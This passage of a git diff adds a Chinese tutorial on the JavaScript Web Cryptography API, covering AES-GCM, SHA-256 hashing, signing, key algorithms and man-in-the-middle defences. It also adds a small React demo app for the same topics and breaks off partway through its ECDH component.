+    })
+    //  Print plaintext in console.
+    .then(function (plainText) {
+        console.log("Plain Text: " + arrayBufferToString(plainText));
+    })
+    .catch(function (err) {
+        console.log("Error: " + err.message);
+    });
+
+
+那么，完整的加密和解密示例代码如下:
+
+    // This code below will encrypt and decrypt plaintext
+
+    /*The function strToArrayBuffer converts string to fixed-length raw binary data buffer because 
+    encrypt method must return a Promise that fulfills with an ArrayBuffer containing the "ciphertext"*/
+    function strToArrayBuffer(str) {
+        var buf = new ArrayBuffer(str.length * 2);
+        var bufView = new Uint16Array(buf);
+        for (var i = 0, strLen = str.length; i < strLen; i++) {
+            bufView[i] = str.charCodeAt(i);
+        }
+    return buf;
+    }
+    //The function arrayBufferToString converts fixed-length raw binary data buffer to 16-bit unsigned String as our plaintext
+    function arrayBufferToString(buf) {
+        return String.fromCharCode.apply(null, new Uint16Array(buf));
+    }
+    //This object below will generate our algorithm key
+    var algoKeyGen = {
+        name: "AES-GCM",
+        length: 256,
+    };
+    //This will generate random values of 8-bit unsigned integer
+    var iv = window.crypto.getRandomValues(new Uint8Array(12));
+    //This object will generate our encryption algorithm
+    var algoEncrypt = {
+        name: "AES-GCM",
+        iv: iv,
+        tagLength: 128,
+    };
+    //states that key usage is for encrypting and decrypting
+    var keyUsages = ["encrypt", "decrypt"];
+    var plainText = "This is a secure message from Mary";
+    var secretKey;
+    //This generates our secret Key with key generation algorithm
+    window.crypto.subtle
+        .generateKey(algoKeyGen, false, keyUsages)
+        .then(function (key) {
+            secretKey = key;
+            //Encrypt plaintext with key and algorithm converting the plaintext to ArrayBuffer
+            return window.crypto.subtle.encrypt(
+                algoEncrypt,
+                key,
+                strToArrayBuffer(plainText)
+            );
+        })
+    .then(function (cipherText) {
+        //This prints out the ciphertext, converting it from ArrayBuffer to 16-bit unsigned String
+        console.log("Cipher Text: " + arrayBufferToString(cipherText));
+        //This will decrypt ciphertext with secret key and algorithm
+        return window.crypto.subtle.decrypt(algoEncrypt, secretKey, cipherText);
+    })
+    //This prints out the plaintext, converting it from ArrayBuffer to 16-bit unsigned String
+    .then(function (plainText) {
+        console.log("Plain Text: " + arrayBufferToString(plainText));
+    })
+    .catch(function (err) {
+        console.log("Error: " + err.message);
+    });
+
+当你运行这个程序时，它会输出之前加密的明文。
+
+![](https://miro.medium.com/max/575/0*1QVfw-_HSz22ZtJS)
+
+从代码来看，
+
+    var secretKey;
+    window.crypto.subtle.generateKey(algoKeyGen, false, keyUsages)
+    .then(function (key) { secretKey = key;
+
+生成一个密钥来解密消息。
+
+加密过程大致分为对称加密和非对称加密。这种划分取决于用于解密的密钥类型。对于对称加密，加密和解密使用相同的密钥。而对于非对称加密，加密和解密使用不同的密钥对。授权用户共享的公钥用于加密，而接收者的私钥用于解密。密钥由其所有者保密。
+
+![](https://miro.medium.com/max/567/0*Vqa1yAeYJio0RF5a)
+
+### Hash哈希
+Hash哈希是一种加密函数，它允许您将任意大小的数据映射到固定大小的数组。加密哈希函数将数据从明文转换为唯一的数字和字母串。哈希不像加密，它是一种单向函数。这意味着从哈希值中获取原始文本是困难的，几乎是不可能的。
+
+哈希利用数学算法将纯文本转换为散列值。哈希没有像加密那样解密散列值的密钥。加密哈希函数主要用于身份验证。例如，在注册/登录中。当用户注册时，他们的密码在将它们存储在数据库中之前被哈希。每当用户尝试登录时，他们的密码都会被哈希并与数据库中的哈希值进行比较以确保它匹配。使用这种方法，如果攻击者劫持了软件公司的数据库，用户的登录详细信息对他们来说毫无用处，因为他们无法解码或理解密码。
+
+![](https://miro.medium.com/max/547/0*oqlhISJ0TrPjoG74)
+
+JavaScript 的 Web 加密 API 提供了 crypto.subtle.digest 允许您执行加密哈希函数的功能。使用crypto.subtle.digest function，您可以使用SHA-1,SHA-384或SHA-512算法哈希纯文本，使用以下语法。
+
+    // Syntax for hashing plaintext
+    const digest = crypto.subtle.digest(algorithm, data);
+
+要了解如何使用 crypto.subtle.digest 函数哈希消息，让我们看一下下面的示例：
+
+    const text = "This is a secure message from Mary";
+    async function digestMessage(message) {
+        const encode = new TextEncoder().encode(message); // encode as (utf-8) Uint8Array
+        const hashBuffer = await crypto.subtle.digest("SHA-256", encode); // hash the message
+        const hashArray = Array.from(new Uint8Array(hashBuffer)); // convert buffer to byte array
+        const hashHex = hashArray
+            .map((b) => b.toString(16).padStart(2, "0"))
+            .join(""); // convert bytes to hex string
+        return hashHex;
+    }
+    const digestHex = await digestMessage(text);
+    console.log(digestHex);
+
+![](https://miro.medium.com/max/670/0*B4g8Jpu1dZOF1QMI)
+
+
+在上面的示例程序中，我们使用算法对文本This is a secure message 进行了哈希处理SHA-256，并将字节转换为十六进制字符串。算法SHA-1现在易受攻击；因此，建议不要在生产模式下使用它。
+
+### 签名生成和验证
+这是你可以使用 JavaScript 的 Web Cryptography API 执行的另一个加密功能。使用sign and verify功能，您可以使用密钥签署文档。接收者使用他们的密钥来验证消息的身份验证。
+
+假设您想将文档发送给朋友，为了使文件真实，您需要签名。收到消息的朋友看到​​签名后就会意识到这是您发送的。
+
+要使用 sign 和 veryify 函数签署和验证文档，请使用以下语法。
+
+    //syntax to sign document
+    const signature = crypto.subtle.sign(algorithm, key, data);
+    //syntax to generate document
+    const result = crypto.subtle.verify(algorithm, key, signature, data);
+
+
+### 密码算法
+计算机没有自己的思想。因此，每当我们希望计算机执行某些任务时，我们会让他们知道如何去做。例如，如果您希望计算机执行基本计算，则必须告诉它要添加哪些数字以及如何添加。
+
+算法是一组定义明确的计算机可实现的用于解决问题的指令。在密码学中，您需要指定您希望计算机如何执行加密功能。SHA 算法有多种风格，每种风格都指定了哈希值的位长。在本节中，我们将了解 JavaScript 的 Web Cryptography API 支持的基本加密函数。
+
+### ECDH（椭圆曲线Diffie-Hellman）
+该密码算法用于密钥生成和密钥协商。椭圆曲线 Diffie-Hellman 密钥协商协议允许拥有公私密钥对的两方进行安全通信。它用于椭圆曲线 Diffie-Hellman 密码术。
+
+椭圆曲线 Diffie-Hellman 算法允许您执行以下操作：
+
+* 密钥生成
+* 位推导
+* 密钥导入
+* 密钥导出
+
+### SHA（安全哈希算法）
+该算法主要用于执行哈希函数。它将可变数据压缩为固定大小的位串输出。JavaScript 的 Web Cryptography API 允许您使用SHA-1和执行哈希函数SHA-2，支持“SHA-256”、“SHA-384”、“SHA-512”来使用此算法。您必须使用 crypto.subtle.digest功能来执行该加密过程。
+
+### HMAC（基于哈希的消息认证码）
+使用哈希函数对值进行哈希后，您需要验证传入消息是否等于哈希值。请记住，我们几乎无法将哈希值转换回其原始文本。为了比较值，该HMAC算法用于签署和验证文件以确定其真实性。使用此算法，您可以执行以下功能。
+* 签名
+* 验证
+* 生成密钥
+* 导入密钥
+* 导出密钥
+* 获取密钥长度
+
+### HKDF（基于哈希的密钥派生函数）
+基于哈希的密钥推导函数是一种基于HMAC的密码密钥推导函数。它使用提取然后扩展的方法。您可以使用此算法将共享机密转换为适合加密、完整性检查或身份验证的密钥。您可以使用此算法执行的操作如下：
+* 位推导
+* 密钥导入
+* 获取密钥长度
+
+### PBKDF2（基于密码的密钥推导函数2）
+PBKDF2 算法用于派生密钥，使用基于 PKCS#5（Public Key Cryptography Standards #5）密码的密钥派生函数版本 2。就像 HKDF 函数一样，您可以执行 Bits Derivation、Key Import 和 Get Key长度与此算法。
+
+### ECDSA（椭圆曲线数字签名算法）
+椭圆曲线数字签名算法允许开发人员使用椭圆曲线加密技术签署和验证文档。它提供了数字签名算法(DSA) 的一种变体。您可以使用 ECDSA 算法执行以下操作。
+* 签名
+* 验证
+* 生成密钥
+* 导入密钥
+* 导出密钥
+
+### RSA（Rivest–Shamir–Adleman）算法
+RSA 算法用于保护 Internet 上的信息。它是一种非对称密码算法。两个密钥用于加密和解密过程。一把钥匙是公开的，可以在授权用户之间共享，而第二把私有的钥匙必须保密。
+
+Rivest–Shamir–Adleman 支持其他具有可与 RSA 算法一起使用的填充方案的算法。JavaScript 的 Web Cryptography API 支持以下 RSA 算法和填充方案。
+* RSASSA-PKCS1-v1_5
+* RSA-PSS
+* RSA-OAEP
+
+### AES（高级加密标准）算法
+高级加密标准算法大多以其原始名称Rijndael为人所知。它用于电子数据的加密，由美国国家标准与技术研究院(NIST) 于 2001 年建立。
+
+JavaScript 的 Web Cryptography API 支持使用 AES 块的不同加密模型，它们是：
+* AES-CTR
+* AES-CBC
+* AES-GCM
+* AES-KW
+
+## JavaScript 的 Web 加密 API 用例
+JavaScript 的 Web Cryptography API 在实时密码学中有许多应用。在本节中，我们将实时了解密码学的不同应用。
+
+### 多重身份验证
+有时，黑客可以窃取用户的密码。因此，即使这些密码在数据库中被哈希或加密，也无法阻止它们访问用户的帐户。为了确保访问帐户的人是真正的所有者，应用程序允许多因素身份验证。
+
+与使用传输层身份验证不同，例如 TLS 客户端证书应用程序可以使用合适的客户端密钥，这些密钥可能是之前通过用户代理生成的，如多因素令牌。
+
+### 受保护的文件交换
+密码学的目标之一是在第三方存在的情况下保护互联网上的通信。因为有第三方不断监视其他人的对话，JavaScript 的 Web Cryptography API 允许您签署、验证和加密文档。保护文档需要授权用户拥有允许他们访问文档的密钥。
+
+### 云储存
+您可以在使用 JavaScript 的 Web Cryptography API 将文档上传到远程服务器之前对其进行保护。应用程序可以让用户选择私有或秘密密钥，导出加密密钥，加密文档，然后使用现有 API 将加密数据上传到服务提供商。
+
+### 安全消息传递
+用户可以使用非公开 (OTR)消息传递等方案通过 Internet 进行安全通信。参与通信的两方可以使用消息验证码 (MAC) 密钥对消息进行加密和解密，以防止篡改。
+
+### JavaScript 对象签名和加密 (JOSE)
+您可以使用 JavaScript 的 Web 加密 API 与 JavaScript 对象签名和加密 (JOSE) 工作组定义的结构和消息格式进行交互。
+
+## 如何应对中间人攻击
+中间人攻击 (MitM) 也可以称为中间人攻击或中间人攻击。这是一种网络攻击，攻击者窃听两方之间的通信，劫持或修改通信。
+
+![](https://miro.medium.com/max/548/0*Ci-Jl1Mlki03m3A-)
+
+例如，中间人可能会在信息到达另一方之前拦截从一方发送的信息。我们来看一个案例，两个人；南希和乔伊正在进行加密对话。
+
+如果中间的一个人（詹姆斯）拿到了 Nancy 的密钥，他可以在将消息发送给 Joy 之前解密消息、查看或修改其内容。
+
+![](https://miro.medium.com/max/531/0*D586dpehfQtaG2wY)
+
+让我们来看看人们应对中间人攻击的各种方式
+1. 篡改检测的使用是显示中间人攻击发生的极好方法。例如，各方可以检查响应时间的差异。
+2. 使用相互认证是一种可以减轻中间人攻击的方法。因为服务器和客户端验证彼此的通信。
+3. 取证分析是另一种处理中间人攻击的方法，因为它确定是否存在攻击并确定攻击的来源。
+
+## 安全，一个大问题
+每个人在通过互联网进行交流时都需要感到安全。不安全的保护不仅意味着您的通信可能会在互联网上泄露，一些攻击者甚至会从用户那里窃取、欺负用户，甚至追踪他们以造成身体伤害。
+
+开发人员必须构建对用户来说可持续且安全的产品。当公司在构建产品时忽视用户隐私和安全会发生什么？
+
+数据保护监管机构监管个人数据在互联网上的处理方式。例如，数据监管机构GDPR 将对侵权行为处以最高 2000 万欧元（约合 1800 万英镑）或全球年营业额 4% 的罚款（以较高者为准）。因此，公司必须采取一切必要步骤来确保用户数据始终安全。
+
+这意味着公司还必须非常小心他们选择与之合作的第三方工具和供应商。所有组织采用的工具都必须安全并尊重隐私，这一点非常重要。这对于分析、监控、错误跟踪等大量数据摄取的产品尤其重要。
+
+
+以下推荐一些相关的文章，有兴趣可以看下：
+* [引擎、运行时和调用堆栈的概述](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf?source=collection_home---2------1----------------)
+* [深入谷歌 V8 引擎 + 编写优化代码的 5 个技巧](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e?source=collection_home---2------2----------------)
+* [内存管理+如何处理4种常见的内存泄漏](https://blog.sessionstack.com/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks-3f28b94cfbec?source=collection_home---2------0----------------)
+* [事件循环和异步编程的兴起 + 5 种使用 async/await 更好地编码的方法](https://blog.sessionstack.com/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with-2f077c4438b5)
+* [使用 SSE 深入研究 WebSockets 和 HTTP/2 + 如何选择正确的路径](https://blog.sessionstack.com/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path-584e6b8e3bf7?source=collection_home---4------0----------------)
+* [与 WebAssembly 的比较 + 为什么在某些情况下最好使用它而不是 JavaScript](https://blog.sessionstack.com/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it-d80945172d79)
+* [Web Workers 的构建块 + 5 个你应该使用它们的案例](https://blog.sessionstack.com/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them-a547c0757f6a)
+* [Service Workers、他们的生命周期和用例](https://blog.sessionstack.com/how-javascript-works-service-workers-their-life-cycle-and-use-cases-52b19ad98b58)
+* [Web 推送通知的机制](https://blog.sessionstack.com/how-javascript-works-the-mechanics-of-web-push-notifications-290176c5c55d)
+* [使用 MutationObserver 跟踪 DOM 中的更改](https://blog.sessionstack.com/how-javascript-works-tracking-changes-in-the-dom-using-mutationobserver-86adc7446401)
+* [渲染引擎和优化其性能的技巧](https://blog.sessionstack.com/how-javascript-works-the-rendering-engine-and-tips-to-optimize-its-performance-7b95553baeda)
+* [网络层内部 + 如何优化其性能和安全性](https://blog.sessionstack.com/how-javascript-works-inside-the-networking-layer-how-to-optimize-its-performance-and-security-f71b7414d34c)
+* [在 CSS 和 JS 动画的幕后 + 如何优化它们的性能](https://blog.sessionstack.com/how-javascript-works-under-the-hood-of-css-and-js-animations-how-to-optimize-their-performance-db0e79586216)
+* [解析、抽象语法树 (AST) + 5 个关于如何最小化解析时间的技巧](https://blog.sessionstack.com/how-javascript-works-parsing-abstract-syntax-trees-asts-5-tips-on-how-to-minimize-parse-time-abfcf7e8a0c8)
+* [类和继承的内部结构 + Babel 和 TypeScript 中的转译](https://blog.sessionstack.com/how-javascript-works-the-internals-of-classes-and-inheritance-transpiling-in-babel-and-113612cdc220)
+* [存储引擎 + 如何选择合适的存储 API](https://blog.sessionstack.com/how-javascript-works-storage-engines-how-to-choose-the-proper-storage-api-da50879ef576)
+* [Shadow DOM 的内部结构 + 如何构建自包含组件](https://blog.sessionstack.com/how-javascript-works-the-internals-of-shadow-dom-how-to-build-self-contained-components-244331c4de6e)
+* [WebRTC 和点对点连接机制](https://blog.sessionstack.com/how-javascript-works-webrtc-and-the-mechanics-of-peer-to-peer-connectivity-87cc56c1d0ab)
+* [自定义元素背后 + 构建可重用组件的最佳实践](https://blog.sessionstack.com/how-javascript-works-under-the-hood-of-custom-elements-best-practices-on-building-reusable-e118e888de0c)
+* [异常 + 同步和异步代码的最佳实践](https://blog.sessionstack.com/how-javascript-works-exceptions-best-practices-for-synchronous-and-asynchronous-environments-39f66b59f012)
+* [5 种类型的 XSS 攻击 + 防范技巧](https://blog.sessionstack.com/how-javascript-works-5-types-of-xss-attacks-tips-on-preventing-them-e6e28327748a)
+* [CSRF 攻击 + 7 种缓解策略](https://blog.sessionstack.com/how-javascript-works-csrf-attacks-7-mitigation-strategies-757dfb08e7a6)
+* [迭代器 + 获得对生成器高级控制的技巧](https://blog.sessionstack.com/how-javascript-works-iterators-tips-on-gaining-advanced-control-over-generators-41dc3eb3bc20)   
+
diff --git a/basic/44-javascript-cryptography/package.json b/basic/44-javascript-cryptography/package.json
new file mode 100644
index 000000000..f67a57421
--- /dev/null
+++ b/basic/44-javascript-cryptography/package.json
@@ -0,0 +1,19 @@
+{
+  "name": "44-javascript-cryptography",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "private": true,
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "start": "yarn workspace react-app start"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "workspaces": {
+    "packages": [
+      "react-app"
+    ]
+  }
+}
diff --git a/basic/44-javascript-cryptography/react-app/.gitignore b/basic/44-javascript-cryptography/react-app/.gitignore
new file mode 100644
index 000000000..4d29575de
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/.gitignore
@@ -0,0 +1,23 @@
+# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
+
+# dependencies
+/node_modules
+/.pnp
+.pnp.js
+
+# testing
+/coverage
+
+# production
+/build
+
+# misc
+.DS_Store
+.env.local
+.env.development.local
+.env.test.local
+.env.production.local
+
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
diff --git a/basic/44-javascript-cryptography/react-app/package.json b/basic/44-javascript-cryptography/react-app/package.json
new file mode 100644
index 000000000..ad014c580
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/package.json
@@ -0,0 +1,40 @@
+{
+  "name": "react-app",
+  "version": "0.1.0",
+  "private": true,
+  "dependencies": {
+    "@testing-library/jest-dom": "^5.11.4",
+    "@testing-library/react": "^11.1.0",
+    "@testing-library/user-event": "^12.1.10",
+    "antd": "^4.16.13",
+    "react": "^17.0.2",
+    "react-dom": "^17.0.2",
+    "react-router-dom": "^5.3.0",
+    "react-scripts": "4.0.3",
+    "web-vitals": "^1.0.1"
+  },
+  "scripts": {
+    "start": "react-scripts start",
+    "build": "react-scripts build",
+    "test": "react-scripts test",
+    "eject": "react-scripts eject"
+  },
+  "eslintConfig": {
+    "extends": [
+      "react-app",
+      "react-app/jest"
+    ]
+  },
+  "browserslist": {
+    "production": [
+      ">0.2%",
+      "not dead",
+      "not op_mini all"
+    ],
+    "development": [
+      "last 1 chrome version",
+      "last 1 firefox version",
+      "last 1 safari version"
+    ]
+  }
+}
diff --git a/basic/44-javascript-cryptography/react-app/public/index.html b/basic/44-javascript-cryptography/react-app/public/index.html
new file mode 100644
index 000000000..aa069f27c
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/public/index.html
@@ -0,0 +1,43 @@
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8" />
+    <link rel="icon" href="%PUBLIC_URL%/favicon.ico" />
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <meta name="theme-color" content="#000000" />
+    <meta
+      name="description"
+      content="Web site created using create-react-app"
+    />
+    <link rel="apple-touch-icon" href="%PUBLIC_URL%/logo192.png" />
+    <!--
+      manifest.json provides metadata used when your web app is installed on a
+      user's mobile device or desktop. See https://developers.google.com/web/fundamentals/web-app-manifest/
+    -->
+    <link rel="manifest" href="%PUBLIC_URL%/manifest.json" />
+    <!--
+      Notice the use of %PUBLIC_URL% in the tags above.
+      It will be replaced with the URL of the `public` folder during the build.
+      Only files inside the `public` folder can be referenced from the HTML.
+
+      Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
+      work correctly both with client-side routing and a non-root public URL.
+      Learn how to configure a non-root public URL by running `npm run build`.
+    -->
+    <title>React App</title>
+  </head>
+  <body>
+    <noscript>You need to enable JavaScript to run this app.</noscript>
+    <div id="root"></div>
+    <!--
+      This HTML file is a template.
+      If you open it directly in the browser, you will see an empty page.
+
+      You can add webfonts, meta tags, or analytics to this file.
+      The build step will place the bundled scripts into the <body> tag.
+
+      To begin the development, run `npm start` or `yarn start`.
+      To create a production bundle, use `npm run build` or `yarn build`.
+    -->
+  </body>
+</html>
diff --git a/basic/44-javascript-cryptography/react-app/public/manifest.json b/basic/44-javascript-cryptography/react-app/public/manifest.json
new file mode 100644
index 000000000..080d6c77a
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/public/manifest.json
@@ -0,0 +1,25 @@
+{
+  "short_name": "React App",
+  "name": "Create React App Sample",
+  "icons": [
+    {
+      "src": "favicon.ico",
+      "sizes": "64x64 32x32 24x24 16x16",
+      "type": "image/x-icon"
+    },
+    {
+      "src": "logo192.png",
+      "type": "image/png",
+      "sizes": "192x192"
+    },
+    {
+      "src": "logo512.png",
+      "type": "image/png",
+      "sizes": "512x512"
+    }
+  ],
+  "start_url": ".",
+  "display": "standalone",
+  "theme_color": "#000000",
+  "background_color": "#ffffff"
+}
diff --git a/basic/44-javascript-cryptography/react-app/public/robots.txt b/basic/44-javascript-cryptography/react-app/public/robots.txt
new file mode 100644
index 000000000..e9e57dc4d
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/public/robots.txt
@@ -0,0 +1,3 @@
+# https://www.robotstxt.org/robotstxt.html
+User-agent: *
+Disallow:
diff --git a/basic/44-javascript-cryptography/react-app/src/App.css b/basic/44-javascript-cryptography/react-app/src/App.css
new file mode 100644
index 000000000..74b5e0534
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/App.css
@@ -0,0 +1,38 @@
+.App {
+  text-align: center;
+}
+
+.App-logo {
+  height: 40vmin;
+  pointer-events: none;
+}
+
+@media (prefers-reduced-motion: no-preference) {
+  .App-logo {
+    animation: App-logo-spin infinite 20s linear;
+  }
+}
+
+.App-header {
+  background-color: #282c34;
+  min-height: 100vh;
+  display: flex;
+  flex-direction: column;
+  align-items: center;
+  justify-content: center;
+  font-size: calc(10px + 2vmin);
+  color: white;
+}
+
+.App-link {
+  color: #61dafb;
+}
+
+@keyframes App-logo-spin {
+  from {
+    transform: rotate(0deg);
+  }
+  to {
+    transform: rotate(360deg);
+  }
+}
diff --git a/basic/44-javascript-cryptography/react-app/src/App.jsx b/basic/44-javascript-cryptography/react-app/src/App.jsx
new file mode 100644
index 000000000..03d113381
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/App.jsx
@@ -0,0 +1,104 @@
+import { BrowserRouter, Link, Route, Switch } from "react-router-dom";
+import { Menu, Row, Col } from "antd";
+import { Form, Input, Button, Radio } from 'antd';
+import React, { useCallback, useEffect, useState } from "react";
+import { Header, AESGCM, RandomNumber, SHA256, SignAndVerify,ECDH } from "./components";
+import "antd/dist/antd.css";
+import './index.css';
+import './App.css';
+
+function App() {
+
+  // Set route variable 
+  const [route, setRoute] = useState();
+  useEffect(() => {
+    setRoute(window.location.pathname);
+  }, [setRoute]);
+
+  return (
+    <div className="App">
+      <Header />
+      <BrowserRouter>
+        <Menu style={{ justifyContent: "center", textAlign: "center" }} selectedKeys={[route]} mode="horizontal">
+          <Menu.Item key="/RandomNumber">
+            <Link
+              onClick={() => {
+                setRoute("/RandomNumber");
+              }}
+              to="/RandomNumber"
+            >
+              RandomNumber
+            </Link>
+          </Menu.Item>
+          <Menu.Item key="/AES-GCM">
+            <Link
+              onClick={() => {
+                setRoute("/AES-GCM");
+              }}
+              to="/AES-GCM"
+            >
+              AES-GCM
+            </Link>
+          </Menu.Item>
+          <Menu.Item key="/SHA-256">
+            <Link
+              onClick={() => {
+                setRoute("/SHA-256");
+              }}
+              to="/SHA-256"
+            >
+              SHA-256
+            </Link>
+          </Menu.Item>
+          <Menu.Item key="/SignAndVeryify">
+            <Link
+              onClick={() => {
+                setRoute("/SignAndVeryify");
+              }}
+              to="/SignAndVeryify"
+            >
+              SignAndVeryify
+            </Link>
+          </Menu.Item>
+
+          <Menu.Item key="/ECDH">
+            <Link
+              onClick={() => {
+                setRoute("/ECDH");
+              }}
+              to="/ECDH"
+            >
+              ECDH
+            </Link>
+          </Menu.Item>
+
+        </Menu>
+
+        <Switch>
+          <Route exact path="/RandomNumber">
+            <RandomNumber />
+          </Route>
+
+          <Route exact path="/AES-GCM">
+            <AESGCM />
+          </Route>
+
+          {/* IMPORTANT PLACE */}
+          <Route exact path="/SHA-256">
+            <SHA256 />
+          </Route>
+
+          <Route path="/SignAndVeryify">
+            <SignAndVerify />
+          </Route>
+
+          <Route path="/ECDH">
+            <ECDH />
+          </Route>
+        </Switch>
+      </BrowserRouter>
+    </div>
+  );
+}
+
+export default App;
diff --git a/basic/44-javascript-cryptography/react-app/src/App.test.js b/basic/44-javascript-cryptography/react-app/src/App.test.js
new file mode 100644
index 000000000..1f03afeec
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/App.test.js
@@ -0,0 +1,8 @@
+import { render, screen } from '@testing-library/react';
+import App from './App';
+
+test('renders learn react link', () => {
+  render(<App />);
+  const linkElement = screen.getByText(/learn react/i);
+  expect(linkElement).toBeInTheDocument();
+});
diff --git a/basic/44-javascript-cryptography/react-app/src/components/AESGCM.jsx b/basic/44-javascript-cryptography/react-app/src/components/AESGCM.jsx
new file mode 100644
index 000000000..d87a74c3e
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/components/AESGCM.jsx
@@ -0,0 +1,127 @@
+// displays a page header
+import { Menu, Row, Col } from "antd";
+import { Form, Input, Button, Radio } from 'antd';
+import React, { useState } from "react";
+
+function strToArrayBuffer(str) {
+    var buf = new ArrayBuffer(str.length * 2);
+    var bufView = new Uint16Array(buf);
+    for (var i = 0, strLen = str.length; i < strLen; i++) {
+        bufView[i] = str.charCodeAt(i);
+    }
+    return buf;
+}
+//The function arrayBufferToString converts fixed-length raw binary data buffer to 16-bit unsigned String as our plaintext
+function arrayBufferToString(buf) {
+    return String.fromCharCode.apply(null, new Uint16Array(buf));
+}
+//This object below will generate our algorithm key
+var algoKeyGen = {
+    name: "AES-GCM",
+    length: 256,
+};
+//This will generate random values of 8-bit unsigned integer
+var iv = window.crypto.getRandomValues(new Uint8Array(12));
+
+//This object will generate our encryption algorithm
+var algoEncrypt = {
+    name: "AES-GCM",
+    iv: iv,
+    tagLength: 128,
+};
+
+//states that key usage is for encrypting and decrypting
+var keyUsages = ["encrypt", "decrypt"];
+var secretKey;
+
+export default function AESGCM() {
+
+    const [plainText, setPlainText] = useState();
+
+    const [encryptedMessage, setEncryptedMessage] = useState();
+
+    const [cipherText, setCipherText] = useState();
+
+    const [decryptedMessage, setDecryptedMessage] = useState();
+
+
+    return (
+        <div>
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={8}>
+                    <Form.Item label="Plain Text" tooltip="Please input plain text">
+                        <Input placeholder="Original Message" value={plainText} onChange={(event) => {
+                            setPlainText(event.target.value);
+                        }} />
+                    </Form.Item>
+                </Col>
+            </Row>
+
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={8}>
+                    <Form.Item label="Cipher Text">
+                        <Input placeholder="Cipher Message" value={encryptedMessage} disabled />
+                    </Form.Item>
+                </Col>
+            </Row>
+
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={8}>
+                    <Form.Item label="Decrypted Message">
+                        <Input placeholder="Decrypted Message" value={decryptedMessage} disabled />
+                    </Form.Item>
+                </Col>
+            </Row>
+
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={2}>
+                    <Form.Item>
+                        <Button type="primary" onClick={() => {
+                            window.crypto.subtle
+                                .generateKey(algoKeyGen, false, keyUsages)
+                                .then(function (key) {
+                                    secretKey = key;
+                                    //Encrypt plaintext with key and algorithm converting the plaintext to ArrayBuffer
+                                    return window.crypto.subtle.encrypt(
+                                        algoEncrypt,
+                                        key,
+                                        strToArrayBuffer(plainText)
+                                    );
+                                })
+                                .then(function (cipherTexted) {
+                                    setCipherText(cipherTexted);
+                                    //This prints out the ciphertext, converting it from ArrayBuffer to 16-bit unsigned String
+                                    setEncryptedMessage(arrayBufferToString(cipherTexted));
+                                    console.log("Cipher Text: " + arrayBufferToString(cipherTexted));
+                                    //This will decrypt ciphertext with secret key and algorithm
+                                })
+                                .catch(function (err) {
+                                    console.log("Error: " + err.message);
+                                });
+                        }}>
+                            Encrypt
+                        </Button>
+                    </Form.Item>
+                </Col>
+
+                <Col span={2}>
+                    <Form.Item>
+                        <Button type="primary" onClick={() => {
+                            window.crypto.subtle.decrypt(algoEncrypt, secretKey, cipherText)
+                                .then(function (plainedText) {
+                                    console.log("Plain Text: " + arrayBufferToString(plainedText));
+                                    setDecryptedMessage(arrayBufferToString(plainedText));
+                                })
+                                .catch(function (err) {
+                                    console.log("Error: " + err.message);
+                                });
+
+                        }}>
+                            Decrypt
+                        </Button>
+                    </Form.Item>
+                </Col>
+            </Row>
+        </div>
+    );
+}
diff --git a/basic/44-javascript-cryptography/react-app/src/components/ECDH.jsx b/basic/44-javascript-cryptography/react-app/src/components/ECDH.jsx
new file mode 100644
index 000000000..01a845619
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/components/ECDH.jsx
@@ -0,0 +1,87 @@
+// displays a page header
+import { Menu, Row, Col } from "antd";
+import { Form, Input, Button, Radio } from 'antd';
+import React, { useState } from "react";
+var crypto = require('crypto');
+
+var alice = crypto.createECDH('secp256k1');
+
+var bob = crypto.createECDH('secp256k1');
+
+alice.generateKeys();
+bob.generateKeys();
+
+export default function ECDH() {
+
+    const [alicePublicKey, setAlicePublicKey] = useState();
+
+    const [bobPublicKey, setBobPublicKey] = useState();
+
+    const [verifyResult, setVerifyResult] = useState();
+
+    return (
+        <div>
+
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={8}>
+                    <Form.Item label="Alice Public Key" >
+                        <Input placeholder="" value={alicePublicKey} disabled />
+                    </Form.Item>
+                </Col>
+            </Row>
+
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={8}>
+                    <Form.Item label="Bob Public Key" >
+                        <Input placeholder="" value={bobPublicKey} disabled />
+                    </Form.Item>
+                </Col>
+            </Row>
+
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={8}>
+                    <Form.Item label="Verify Result" >
+                        <Input placeholder="" value={verifyResult} disabled />
+                    </Form.Item>
+                </Col>
+            </Row>
+
+
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={4}>
+                    <Form.Item>
+                        <Button type="primary" onClick={() => {
+                            setAlicePublicKey(alice.getPublicKey());
+                        }}>
